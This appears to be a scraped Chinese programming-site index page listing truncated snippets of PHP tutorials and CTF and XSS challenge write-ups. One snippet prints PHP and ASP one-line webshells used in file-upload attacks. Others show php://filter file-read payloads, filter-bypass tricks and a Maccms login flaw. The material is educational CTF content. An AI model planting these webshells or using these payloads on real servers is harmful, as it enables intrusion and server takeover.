AI导航网
微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦！
PHPJavaJava SEPythonNumPyC#C&C++RubyVBasp.NetGoPerlnettygRPCDjangoDelphiJsp.NET CoreSpringFlaskSpringbootSpringMVCSpring CloudLuafastadminLaravelMybatisAspGroovyThinkPHPYiiswoole
解决phpcms上传服务器后后台打不开的问题
phpcms上传服务器后怎么打不开后台？如果有报错信息，一般情况是需要改配置文件的。操作步骤如下：1、把网站打包通过FTP上传到服务器，服务器解压。2、数据库导出在导入服务器数据库。注意编码格式。3、网站程序解压完成修改配置文件：database.php和system.php；文件需要修改网站根目录
[BJDCTF2020]ZJCTF，不过如此
1<?php23error_reporting(0);4$text=$_GET["text"];5$file=$_GET["file"];6if(isset($text)&&(file_get_contents($text,'r')==="Ihaveadream")){7echo"<br><h1>"
xss漏洞通关笔记-第一关
每一题都先检查源码，先从源码中找问题，再看URL1.第一关<!DOCTYPEhtml><!--STATUSOK--><html><head><metahttp-equiv="content-type"content="text/html;charset=utf-8"><script>window.alert=function(){confirm(&qu
php图片上传代码
php图片上传代码本来是一个很简单的事，之前笔者图省事，直接网上下载了一个php图片上传小程序，结果导致wordpress网站被黑，因为留有后门，后来排查直接删除整个小程序，自己用重新写了一个php图片上传功能，缺点就是只能单张上传！简单说一些这个这段代码，上传目录：文件当前文件夹；图片文件夹：自
Linux 安装Apache2和PHP
Linux安装Apache2和PHP首先先更新系统sudoaptupdate;sudoaptupgrade然后下载Apache2和PHP主要程序以及它的插件sudoaptinstallapache2sudoaptinstallphp7.3php7.3-fpmphp-httpphp7.3-xmllibapache2-mod-php7.3libphp-phpmailer安装完成之后,需要启动Apa
Php 函数
字符串函数implode(',',$arr)//数组转换字符串explode(',',$arr)//字符串转换数组json_encode($arr)//数组转换jsonjson_decode($json,true)//json转换数组str_replace($find,$replace,$str)//字符串替换strlen($str)//查找
攻防世界-web-新手区-backup
题目  本题考查目录扫描工具的使用常用的目录扫描工具：御剑、dirsearch获取场景  思路我们并不知道作者怎么给这个备份文件命名的，所以我们把它给扫描出来。用dirsearch扫描。命令：pythondirsearch.py-u http://111.200.241.244:50127/-ephp得到备份文件名ind
攻防世界-web-新手区-cookie
题目  本题考查如何查看cookie的内容获取场景  思路说到查看cookie，我们首先想到f12中的内容。发现不论是请求包的cookie，还是返回包的cookie，名字都是cookie.php  访问cookie.php提示我们去看看返回包  我们f12看看返回包，得到flag 
php 安装composer
1、下载安装https://getcomposer.org/期间有一步是要和本地php.exe关联的2、配置composer①把composer安装目录下的.bat文件和.phar文件复制到你所使用的PHP的php.exe文件的目录下    ②修改.bat文件中的内容为@php"%~dp0composer.phar"%*  ③  配置全局环
[BSidesCF 2020]Had a bad day WP
这道题先用php://filter/convert.base64-encodeesource=index（这道题不带后缀名）读取出index.php的源码：<?php$file=$_GET['category'];if(isset($file)){if(strpos($file,"
php获取前一天，前一个月，前半年，前一年的时间戳
#获取前一小时strtotime("-1hour")#获取前一天strtotime("-1day")#获取前一周strtotime("-1week")#获取前一个月strtotime("-1month")#获取前半年strtotime("-6month")#获取前一年strtotime("-1year")
[WUSTCTF2020]朴实无华 web三件套&intval()特性&md5()绕过&linux tac替代cat&php$IFS$9替代空格
建议前期实行web三件套的时候就开着代理。看到bot，想到robots.txt，得到：User-agent:*Disallow:/fAke_f1agggg.php抓包访问，返回包中有一个Look_at_me:/fl4g.php访问，得到源码：<?phpheader('Content-type:text/html;charset=utf-8');error_reporting(0);highlight_file(__fi
ZBlog支持pdf一键上传
​如何做到ueditor批量上传word图片？1、前端引用代码<!DOCTYPE html PUBLIC "-//W3C//DTDXHTML1.0Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>
php 获取本机ip
publicfunctionget_client_ip($type=0,$adv=false){$type=$type?1:0;static$ip=NULL;if($ip!==NULL)return$ip[$type];if($adv){if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
xss漏洞攻击-第十一关
<!DOCTYPEhtml><!--STATUSOK--><html><head><metahttp-equiv="content-type"content="text/html;charset=utf-8"><script>window.alert=function(){confirm("完成的不错！");window.locati
[GWCTF 2019]枯燥的抽奖
 查看源代码，发现了个check.php$(document).ready(function(){$("#div1").load("check.php#p1");$(".close").click(function(){$("#myAlert").hide();});$("#button1").c
文件上传
一句话木马：上传一句话木马（简称Webshell）到目前web服务目录继而提权获取系统权限php一句话木马：<?php@eval($_POST[value]);?>asp一句话木马：<%evalrequest("value")%>或<%execute(request("value"))%>aspx一句话木马：<%@PageLanguage="Jscript"%
php 进行 hamc sha1 加密
实现方法/***@使用HMAC-SHA1算法生成oauth_signature签名值**@param$key密钥*@param$str源串**@return签名值*/functionget_signature($str,$key){$signature="";if(function_exists('hash_hm
PHP大文件分片上传
​4GB以上超大文件上传和断点续传服务器的实现随着视频网站和大数据应用的普及，特别是高清视频和4K视频应用的到来，超大文件上传已经成为了日常的基础应用需求。但是在很多情况下，平台运营方并没有大文件上传和断点续传的开发经验，往往在网上找一些简单的PHP或者Java程序来实现基本
Php常用函数
ord()：返回字符的ascii码 file_put_contents()函数把一个字符串写入文件中。 如果成功，该函数将返回写入文件中的字符数。如果失败，则返回False。常用两个参数，第一个用于标识写入哪个文件中，第二个用于标识写入的字符串。 file_get_contents()函数把整个文件读入一个字符
记录一下github actions 工作流
Github示例官方以及第三方提供的actionsgithubactions说明github官方说明适用php的示例swooletest.yml借用hyperf/component-creator点击查看代码name:PHPUniton:[push,pull_request]env:SWOOLE_VERSION:'4.8.10'SWOW_VERSION:'develop'jo
取反、异或绕过preg_match()过滤所有字母数字
捞到代码，在本地搭建，源码（rce.php）：<?phperror_reporting(0);if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("ThisistooLong.");
php-fpm 慢查询日志和错误日志
 1、php-fpm错误日志一般情况下，php错误日志的配置都在php.ini文件中/usr/local/php/etc/php.ini---------------------------error_reporting=E_ALL&~E_DEPRECATED&~E_STRICTdisplay_errors=Offlog_errors=On;Logerrorstospecifiedfile.PHP'sdefault
CVE-2021-45786：maccms任意用户登录
简介在Maccmsv10中，攻击者可以通过向/index.php/user/login发送“col”和“openid”参数实现越权登陆。受影响版本名称版本语言更新Maccms10.0PHP*漏洞分析在\application\common\model\user.php中的320行“col”和“openid”参数客户端可控。(可实现登录任
MeEdu---开发插件之【模板】
MeEdu在前台进行渲染使用的是模板，那么该如何使用该模板引擎呢？新建：resources目录下新建views目录下新建school.blade.php文件 
CTF自学
  刷了刷CTF，记录一下模糊的和不会的知识点robots协议：网络爬虫排除标准它是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。当一个搜索蜘蛛访问一个站点时，它会首先检查该站点根目录下是否存在robots.txt 
ZBlog支持Word粘贴
​如何做到ueditor批量上传word图片？1、前端引用代码<!DOCTYPE html PUBLIC "-//W3C//DTDXHTML1.0Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>
[ACTF2020 新生赛]Include 1
进入靶场：根据题目提示的include，想到使用php://filter读取文件读取文件payload：#明文读取index.php?file1=php://filteresource=file.txt#编码读取index.php?file1=php://filteread=convert.base64-encodeesource=file.txt构造payload：http://c4edc9e2-34ec-48a3-86
php 上传文件压缩包
 index.php压缩包处理，上传文件处理<?phpinclude('ziper.class.php');/*接收base64的jpg图片编码，转换为图片*ry{$file=$_FILES['image'];//判断文件是否上传if(!is_uploaded_file($file['tmp_name'])){thrownewException("
web入门
无法查看源代码这个我f12看不了，用Ctrl+urobots提示robots.txt，就在网站后边加上obots.txt看看有没有，然后在查看flagishere.txtphps文件泄露在网站后面加/index.phps就可以下载网站的php源代码文件,打开即可。解压源代码到当前目录加/WWW.zip或者/www.zip[ACTF2020新生
    pythonJavaScriptjavaHTMLreactjsC#AndroidCSSNode.jssqlrpython-3.xMysqLjQueryc++pandasFlutterangularIOSdjangolinuxswifttypescript路由器JSON路由器设置无线路由器h3c华三华三路由器设置华三路由器电脑软件教程arraysdocker软件图文教程Cvue.jslaravelspring-bootreact-native